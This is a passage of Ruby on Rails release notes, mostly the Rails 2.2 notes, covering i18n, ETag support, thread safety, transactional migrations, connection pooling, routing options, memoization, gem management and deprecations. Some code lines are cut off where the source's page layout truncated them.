have been replaced by :words_connnector, :two_words_connector,
and :last_word_connector options.
Posting a multipart form with an empty file_field control used to

submit an empty string to the controller. Now it submits a nil, due to

differences between Rack's multipart parser and the old Rails one.

10 Credits
Release notes compiled by Mike Gunderloy. This version of the Rails 2.3
release notes was compiled based on RC2 of Rails 2.3.

Ruby on Rails 2.2 Release Notes

Ruby...

1 Infrastructure
Rails 2.2 is a significant release for the infrastructure that keeps Rails
humming along and connected to the rest of the world.
1.1 Internationalization
Rails 2.2 supplies an easy system for internationalization (or i18n, for
those of you tired of typing).
Lead Contributors: Rails i18 Team
More information :
Official Rails i18 website
Finally. Ruby on Rails gets internationalized
Localizing Rails : Demo application
1.2 Compatibility with Ruby 1.9 and JRuby
Along with thread safety, a lot of work has been done to make Rails work
well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a
moving target, running edge Rails on edge Ruby is still a hit-or-miss
proposition, but Rails is ready to make the transition to Ruby 1.9 when the
latter is released.

2 Documentation
The internal documentation of Rails, in the form of code comments, has
been improved in numerous places. In addition, the Ruby on Rails Guides
project is the definitive source for information on major Rails components.
In its first official release, the Guides page includes:
Getting Started with Rails
Rails Database Migrations
Active Record Associations
Active Record Query Interface
Layouts and Rendering in Rails
Action View Form Helpers
Rails Routing from the Outside In
Action Controller Overview
Rails Caching
A Guide to Testing Rails Applications
Securing Rails Applications
Debugging Rails Applications
Performance Testing Rails Applications
The Basics of Creating Rails Plugins
All told, the Guides provide tens of thousands of words of guidance for
beginning and intermediate Rails developers.
If you want to generate these guides locally, inside your application:
rake doc:guides

This will put the guides inside Rails.root/doc/guides and you may start
surfing straight away by opening Rails.root/doc/guides/index.html in
your favourite browser.
Lead Contributors: Rails Documentation Team

Major contributions from Xavier Noria and Hongli Lai.

More information:
Rails Guides hackfest
Help improve Rails documentation on Git branch

3 Better integration with HTTP : Out of the box ETag

support
Supporting the etag and last modified timestamp in HTTP headers means
that Rails can now send back an empty response if it gets a request for a
resource that hasn't been modified lately. This allows you to check
whether a response needs to be sent at all.
class ArticlesController < ApplicationController
def show_with_respond_to_block
@article = Article.find(params[:id])

# If the request sends headers that differs from the options

# the request is indeed stale and the respond_to block is tr
# to the stale? call is set on the response).
#
# If the request headers match, then the request is fresh an
# not triggered. Instead the default render will occur, whic
# and etag headers and conclude that it only needs to send a
# of rendering the template.
if stale?(:last_modified => @article.published_at.utc, :etag
respond_to do |wants|
# normal response processing
end
end
end
def show_with_implied_render
@article = Article.find(params[:id])

# Sets the response headers and checks them against the requ
# (i.e. no match of either etag or last-modified), then the
# If the request is fresh, then the default render will retu
# instead of rendering the template.
fresh_when(:last_modified => @article.published_at.utc, :eta
end
end

4 Thread Safety
The work done to make Rails thread-safe is rolling out in Rails 2.2.
Depending on your web server infrastructure, this means you can handle
more requests with fewer copies of Rails in memory, leading to better
server performance and higher utilization of multiple cores.
To enable multithreaded dispatching in production mode of your
application, add the following line in your
config/environments/production.rb:
config.threadsafe!

More information :
Thread safety for your Rails
Thread safety project announcement
Q/A: What Thread-safe Rails Means

5 Active Record
There are two big additions to talk about here: transactional migrations and
pooled database transactions. There's also a new (and cleaner) syntax for
join table conditions, as well as a number of smaller improvements.
5.1 Transactional Migrations
Historically, multiple-step Rails migrations have been a source of trouble.
If something went wrong during a migration, everything before the error
changed the database and everything after the error wasn't applied. Also,
the migration version was stored as having been executed, which means
that it couldn't be simply rerun by rake db:migrate:redo after you fix the
problem. Transactional migrations change this by wrapping migration
steps in a DDL transaction, so that if any of them fail, the entire migration
is undone. In Rails 2.2, transactional migrations are supported on
PostgreSQL out of the box. The code is extensible to other database types
in the future - and IBM has already extended it to support the DB2 adapter.
Lead Contributor: Adam Wiggins
More information:
DDL Transactions
A major milestone for DB2 on Rails
5.2 Connection Pooling
Connection pooling lets Rails distribute database requests across a pool of
database connections that will grow to a maximum size (by default 5, but
you can add a pool key to your database.yml to adjust this). This helps
remove bottlenecks in applications that support many concurrent users.
There's also a wait_timeout that defaults to 5 seconds before giving up.
ActiveRecord::Base.connection_pool gives you direct access to the
pool if you need it.

development:
adapter: mysql
username: root
database: sample_development
pool: 10
wait_timeout: 10

Lead Contributor: Nick Sieger

More information:
What's New in Edge Rails: Connection Pools
5.3 Hashes for Join Table Conditions
You can now specify conditions on join tables using a hash. This is a big
help if you need to query across complex joins.
class Photo < ActiveRecord::Base
belongs_to :product
end
class Product < ActiveRecord::Base
has_many :photos
end

# Get all products with copyright-free photos:

Product.all(:joins => :photos, :conditions => { :photos => { :co

More information:
What's New in Edge Rails: Easy Join Table Conditions
5.4 New Dynamic Finders
Two new sets of methods have been added to Active Record's dynamic
finders family.
5.4.1 find_last_by_attribute

The find_last_by_attribute method is equivalent to

Model.last(:conditions => {:attribute => value})
# Get the last user who signed up from London
User.find_last_by_city('London')

Lead Contributor: Emilio Tagua

5.4.2 find_by_attribute!

The new bang! version of find_by_attribute! is equivalent to

Model.first(:conditions => {:attribute => value}) || raise
ActiveRecord::RecordNotFound Instead of returning nil if it can't find a

matching record, this method will raise an exception if it cannot find a

match.

# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't

User.find_by_name!('Moby')

Lead Contributor: Josh Susser

5.5 Associations Respect Private/Protected Scope
Active Record association proxies now respect the scope of methods on
the proxied object. Previously (given User has_one :account)
@user.account.private_method would call the private method on the
associated Account object. That fails in Rails 2.2; if you need this
functionality, you should use @user.account.send(:private_method) (or
make the method public instead of private or protected). Please note that if
you're overriding method_missing, you should also override respond_to
to match the behavior in order for associations to function normally.
Lead Contributor: Adam Milligan
More information:

Rails 2.2 Change: Private Methods on Association Proxies are

Private
5.6 Other Active Record Changes
rake db:migrate:redo now accepts an optional VERSION to target

that specific migration to redo

Set config.active_record.timestamped_migrations = false to
have migrations with numeric prefix instead of UTC timestamp.
Counter cache columns (for associations declared with
:counter_cache => true) do not need to be initialized to zero any
longer.
ActiveRecord::Base.human_name for an internationalization-aware
humane translation of model names

6 Action Controller
On the controller side, there are several changes that will help tidy up your
routes. There are also some internal changes in the routing engine to lower
memory usage on complex applications.
6.1 Shallow Route Nesting
Shallow route nesting provides a solution to the well-known difficulty of
using deeply-nested resources. With shallow nesting, you need only supply
enough information to uniquely identify the resource that you want to
work with.
map.resources :publishers, :shallow => true do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end

This will enable recognition of (among others) these routes:

/publishers/1 ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2 ==> magazine_path(2)
/magazines/2/photos ==> magazines_photos_path(2)
/photos/3 ==> photo_path(3)

Lead Contributor: S. Brent Faulkner

More information:
Rails Routing from the Outside In
What's New in Edge Rails: Shallow Routes
6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection
routes. This removes the annoyance of having to define a route as
accepting any verb as soon as you need it to handle more than one. With
Rails 2.2, this is a legitimate route declaration:

map.resources :photos, :collection => { :search => [:get, :post]

Lead Contributor: Brennan Dunn

6.3 Resources With Specific Actions
By default, when you use map.resources to create a route, Rails generates
routes for seven default actions (index, show, create, new, edit, update, and
destroy). But each of these routes takes up memory in your application,
and causes Rails to generate additional routing logic. Now you can use the
:only and :except options to fine-tune the routes that Rails will generate
for resources. You can supply a single action, an array of actions, or the
special :all or :none options. These options are inherited by nested
resources.
map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy

Lead Contributor: Tom Stuart

6.4 Other Action Controller Changes
You can now easily show a custom error page for exceptions raised
while routing a request.
The HTTP Accept header is disabled by default now. You should
prefer the use of formatted URLs (such as /customers/1.xml) to
indicate the format that you want. If you need the Accept headers,
you can turn them back on with

config.action_controller.use_accept_header = true.

Benchmarking numbers are now reported in milliseconds rather than

tiny fractions of seconds
Rails now supports HTTP-only cookies (and uses them for sessions),
which help mitigate some cross-site scripting risks in newer browsers.
redirect_to now fully supports URI schemes (so, for example, you
can redirect to a svn`ssh: URI).
render now supports a :js option to render plain vanilla JavaScript
with the right mime type.
Request forgery protection has been tightened up to apply to HTMLformatted content requests only.
Polymorphic URLs behave more sensibly if a passed parameter is nil.
For example, calling polymorphic_path([@project, @date,
@area]) with a nil date will give you project_area_path.

7 Action View
javascript_include_tag and stylesheet_link_tag support a new
:recursive option to be used along with :all, so that you can load

an entire tree of files with a single line of code.

The included Prototype JavaScript library has been upgraded to
version 1.6.0.3.
RJS#page.reload to reload the browser's current location via
JavaScript
The atom_feed helper now takes an :instruct option to let you
insert XML processing instructions.

8 Action Mailer
Action Mailer now supports mailer layouts. You can make your HTML
emails as pretty as your in-browser views by supplying an appropriatelynamed layout - for example, the CustomerMailer class expects to use
layouts/customer_mailer.html.erb.
More information:
What's New in Edge Rails: Mailer Layouts
Action Mailer now offers built-in support for GMail's SMTP servers, by
turning on STARTTLS automatically. This requires Ruby 1.8.7 to be
installed.

9 Active Support
Active Support now offers built-in memoization for Rails applications, the
each_with_object method, prefix support on delegates, and various other
new utility methods.
9.1 Memoization
Memoization is a pattern of initializing a method once and then stashing its
value away for repeat use. You've probably used this pattern in your own
applications:
def full_name
@full_name ||= "#{first_name} #{last_name}"
end

Memoization lets you handle this task in a declarative fashion:

extend ActiveSupport::Memoizable
def full_name
"#{first_name} #{last_name}"
end
memoize :full_name

Other features of memoization include unmemoize, unmemoize_all, and

memoize_all to turn memoization on or off.
Lead Contributor: Josh Peek
More information:
What's New in Edge Rails: Easy Memoization
Memo-what? A Guide to Memoization
9.2 each_with_object

The each_with_object method provides an alternative to inject, using a

method backported from Ruby 1.9. It iterates over a collection, passing the
current element and the memo into the block.

%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upc

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes
If you delegate behavior from one class to another, you can now specify a
prefix that will be used to identify the delegated methods. For example:
class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => true
end

This will produce delegated methods vendor#account_email and

vendor#account_password. You can also specify a custom prefix:

class Vendor < ActiveRecord::Base

has_one :account
delegate :email, :password, :to => :account, :prefix => :owner
end

This will produce delegated methods vendor#owner_email and

vendor#owner_password.
Lead Contributor: Daniel Schierbeck
9.4 Other Active Support Changes
Extensive updates to ActiveSupport::Multibyte, including Ruby

1.9 compatibility fixes.

The addition of ActiveSupport::Rescuable allows any class to mix
in the rescue_from syntax.
past?, today? and future? for Date and Time classes to facilitate
date/time comparisons.
Array#second through Array#fifth as aliases for Array#[1] through
Array#[4]
Enumerable#many? to encapsulate collection.size > 1
Inflector#parameterize produces a URL-ready version of its input,
for use in to_param.
Time#advance recognizes fractional days and weeks, so you can do
1.7.weeks.ago, 1.5.hours.since, and so on.

The included TzInfo library has been upgraded to version 0.3.12.

ActiveSupport::StringInquirer gives you a pretty way to test for
equality in strings:
ActiveSupport::StringInquirer.new("abc").abc? => true

10 Railties
In Railties (the core code of Rails itself) the biggest changes are in the
config.gems mechanism.
10.1 config.gems
To avoid deployment issues and make Rails applications more selfcontained, it's possible to place copies of all of the gems that your Rails
application requires in /vendor/gems. This capability first appeared in
Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling
complicated dependencies between gems. Gem management in Rails
includes these commands:
config.gem _gem_name_ in your config/environment.rb file
rake gems to list all configured gems, as well as whether they (and

their dependencies) are installed, frozen, or framework (framework

gems are those loaded by Rails before the gem dependency code is
executed; such gems cannot be frozen)
rake gems:install to install missing gems to the computer
rake gems:unpack to place a copy of the required gems into
/vendor/gems
rake gems:unpack:dependencies to get copies of the required gems
and their dependencies into /vendor/gems
rake gems:build to build any missing native extensions
rake gems:refresh_specs to bring vendored gems created with

Rails 2.1 into alignment with the Rails 2.2 way of storing them
You can unpack or install a single gem by specifying GEM=_gem_name_ on
the command line.
Lead Contributor: Matt Jones
More information:
What's New in Edge Rails: Gem Dependencies

Rails 2.1.2 and 2.2RC1: Update Your RubyGems

Detailed discussion on Lighthouse
10.2 Other Railties Changes
If you're a fan of the Thin web server, you'll be happy to know that
script/server now supports Thin directly.
script/plugin install <plugin> -r <revision>

now works with git-based as well as svn-based plugins.

script/console now supports a --debugger option
Instructions for setting up a continuous integration server to build
Rails itself are included in the Rails source
rake notes:custom ANNOTATION=MYFLAG lets you list out custom
annotations.
Wrapped Rails.env in StringInquirer so you can do
Rails.env.development?

To eliminate deprecation warnings and properly handle gem

dependencies, Rails now requires rubygems 1.3.1 or higher.

11 Deprecated
A few pieces of older code are deprecated in this release:
Rails::SecretKeyGenerator has been replaced by
ActiveSupport::SecureRandom
render_component is deprecated. There's a render_components

plugin available if you need this functionality.

Implicit local assignments when rendering partials has been
deprecated.
def partial_with_implicit_local_assignment
@customer = Customer.new("Marcel")
render :partial => "customer"
end

Previously the above code made available a local variable called

customer inside the partial 'customer'. You should explicitly pass all
the variables via :locals hash now.
country_select has been removed. See the deprecation page for
more information and a plugin replacement.
ActiveRecord::Base.allow_concurrency no longer has any effect.
ActiveRecord::Errors.default_error_messages has been
deprecated in favor of
I18n.translate('activerecord.errors.messages')
The %s and %d interpolation syntax for internationalization is

deprecated.
String#chars has been deprecated in favor of String#mb_chars.

Durations of fractional months or fractional years are deprecated. Use

Ruby's core Date and Time class arithmetic instead.
Request#relative_url_root is deprecated. Use
ActionController::Base.relative_url_root instead.

12 Credits
Release notes compiled by Mike Gunderloy

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